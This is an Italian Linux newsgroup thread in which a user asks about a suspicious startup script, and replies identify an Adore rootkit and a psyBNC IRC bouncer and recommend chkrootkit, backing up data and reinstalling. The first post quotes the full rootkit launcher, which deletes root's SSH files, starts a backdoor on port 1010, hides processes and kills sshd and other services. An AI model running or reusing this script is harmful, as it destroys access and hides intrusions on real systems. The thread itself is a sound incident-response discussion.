Newsgroup: it.comp.os.linux.sys
Titolo: /usr/bin/rc.d: hacker ???

Salve, anche non sono un esperto linux (mi limito a
conoscere i fondamentali e ad eseguire alcune
installazioni di base), ho il sospetto che il mio server
Linux sia stato attaccato da un hacker.
All'avvio del sistema, da qualche settimana compaiono
degli strani messaggi di errore, che prima non apparivano,
dovuti alla mancanza di due file richiamati all'interno del
file: "/usr/bin/rc.d" (allegato sotto).
I due file in questione sono: "/dev/~tty/.crond" e "./psybnc".
Ecco i messaggi di errore così come compaiono all'avvio:
/usr/bin/rc.d: /dev/~tty/.crond: No such file or directory
/usr/bin/rc.d: ./psybnc: No such file or directory
Subito dopo appare una riga che fa riferimento ad un software
dal nome "Adora" a me sconosciuto e mai visto prima d'ora nella
schermata di avvio del mio server linux, seguita da altri messaggi
di errore dovuti al tentativo di killare dei processi (forse non ancora
in esecuzione) come: nscd, xfs, lpd, rpc.statd, portmap, sshd, sshdu
Ho provato a cancellare, rinominare, modificare, ecc il file
"/usr/bin/rc.d" senza alcun risultato, pur essendo utente root.
Il comando "ls -l /usr/bin/rc.d" da un risultato simile al seguente:
-rwx------ 1 30 root 592 mar 20 2002 /usr/bin/rc.d
Ho anche cercato inutilmente di modificare i permessi
con "chmod", il proprietario con "chown"... così mi sono
creato un utente con ID 30, ho effettuato un login con tale
utente, ma la situazione non è cambiata... non riesco in alcun
modo a modificare, rinominare, o cancellare il file perchè ad
ogni tentativo il sistema risponde sempre con messaggi del
tipo: "operazione non riuscita"
Qualcuno è in grado di confermarmi quanto sia accaduto e
magari di indicarmi una strada per risolvere il problema ?
Sotto allego il contenuto integrale del file "/usr/bin/rc.d"
Grazie a tutti per l'attenzione e la pazienza nel leggere.
Riccardo
-------------
#!/bin/sh
rm -rf /root/.ssh/*
rm -rf /root/*ssh*
rm -rf /root/.ssh
cd /dev/~tty/
./uptime >chipsul &
cd /
/usr/bin/inet -p 1010 >>/dev/null
cd /dev/~tty/.crond
./psybnc >>/dev/null
cd /
cd /dev/~tty/adore
./startadore >>/dev/null
r=`/sbin/pidof inet`
/dev/~tty/adore/ava i $r >>/dev/null
t=`/sbin/pidof psybnc`
/dev/~tty/adore/ava i $t >>/dev/null
/dev/~tty/adore/ava h /dev/~tty/.crond
killall -9 nscd >>/dev/null
killall -9 xfs >>/dev/null
killall -9 lpd >>/dev/null
killall -9 rpc.statd >>/dev/null
killall -9 portmap >>/dev/null
killall -9 sshd >>/dev/null
killall -9 sshdu >>/dev/null
-------------

 /usr/bin/rc.d: ./psybnc: No such file or directory
www.chkrootkit.org
bye G.L.
--
« E' assolutamente evidente che l'arte del cinema
 si ispira alla vita, mentre la vita si ispira alla TV »
(Woody Allen)

 
Ti confermo che il tuo PC č stato ben bene preso da un hacker che si č
unstallato un pņ di "rumenta", un bouncer IRC (psybnc) e sicuramente un
rootkit.
Usa il link che ti hanno dato per controllare la presenza di un rootkit,
e usa tar e gzip per backuppare i dati. Dopodiche, non essendo esperto
(secondo quanto affermi) usa la manina per staccare il cavo di rete dal
server, usa fdisk per piallare tutto e reinstalla da capo, magari con una
distribuzione che gestisca update di sicurezza automatici (leggasi debian)
e rivolgiti, per sicurezza, a qualcuno che ci capisca se non vuoi cascare
nello stesso errore.
Max

 ./startadore >>/dev/null
[...]
http://www.google.it/search?q=adore
Ciao
  Andrea

Innanzi tutto ringrazio tutti per la gentile e preziosa collaborazione.
Ho installato ed eseguito chkrootkit come da voi suggerito e,
purtroppo, ho ottenuto la conferma che cercavo e cioč che il
mio sistema linux (RedHat 6 un po' vecchiotta) č stato attaccato
in modo decisivo circa due settimane fa da un hacker.
Come faccio a ripristinare il mio sistema senza dover reinstallare
tutto da capo ? Esistono anche dei tools di rimozione oltre a quelli
di checking ?
Segue il risultato del comando "./chkrootkit -q"
Grazie a tutti.
Riccardo
#./chkrootkit -q
-------------
Checking `ifconfig'... INFECTED
Checking `netstat'... INFECTED
Checking `tcpd'... INFECTED
Checking `top'... INFECTED
/dev/xmx /dev/xdta
/dev/ida/.alpy/tcp.log /dev/~tty/tcp.log
/usr/lib/perl5/site_perl/5.005/i386-linux/auto/Image/Magick/.packlist
/usr/lib/perl5/site_perl/5.005/i386-linux/auto/MD5/.packlist
/usr/lib/perl5/site_perl/5.005/i386-linux/auto/mod_perl/.packlist
/usr/lib/perl5/5.00503/i386-linux/.packlist /usr/lib/irc/help/.date
/usr/lib/linuxconf/install/gnome/.directory
/usr/lib/linuxconf/install/gnome/.order /lib/modules/2.2.14-5.0/.rhkmvtag
/lib/modules/.
Warning: `//root/.bash_history' file size is zero
Warning: `//root/.bash_history' is linked to another file
You have     2 process hidden for ps command
Warning: Possible LKM Trojan installed
eth0 is PROMISC
-------------

 di checking ?
Non ti puoi fidare, giacche' e' impossibile essere sicuri di cosa e' stato
toccato e cosa no. Scusa l'adozione dell'imperativo, ma *DEVI* salvare i dati
vitali (da verificare a parte nella loro integrita'), e *DEVI* reinstallare
tutto, possibilmente con qualcosa di piu' recente per risparmiarti il piu'
possibile lunghi e dolorosi aggiornamenti contro le vulnerabilities.
Dopodiche', PRIMA di attaccare nuovamente il cavo di rete (ultima cosa da
fare, cronologicamente), assicurarti che i servizi non necessari siano
chiusi, che non vi siano bachi nel kernel e nei servizi, e diverse altre
cose, che, in mancanza di eseprienza, e' meglio far fare da un altro.
P.S.: Non per altro, ricordo che una macchina hackerata che scorrazza
imperterrita all'esterno, potrebbe costare il taglio della connettivita', se
l'ISP e' serio (e severo).


 di checking ?
No. Potresti controllare quali files siano stati infettati con qualche
tool tipo tripwire o aide e ripristinarli da una fonte sicura; tuttavia
ho come il vago sentore che tu non abbia fatto uso di tali tools.
Inoltre potrebbero restare sul tuo sistema degli avanzi del troyan, per
cui l'unica via veramente sicura resta il formattone. I dati non
dovrebbero (nota il condizinale) essere impestati, per cui non e' che
perdi tutto.
Ricordati poi di cambiare *tutte* le password che abbiano un minimo di
importanza.
Ciao
  Andreak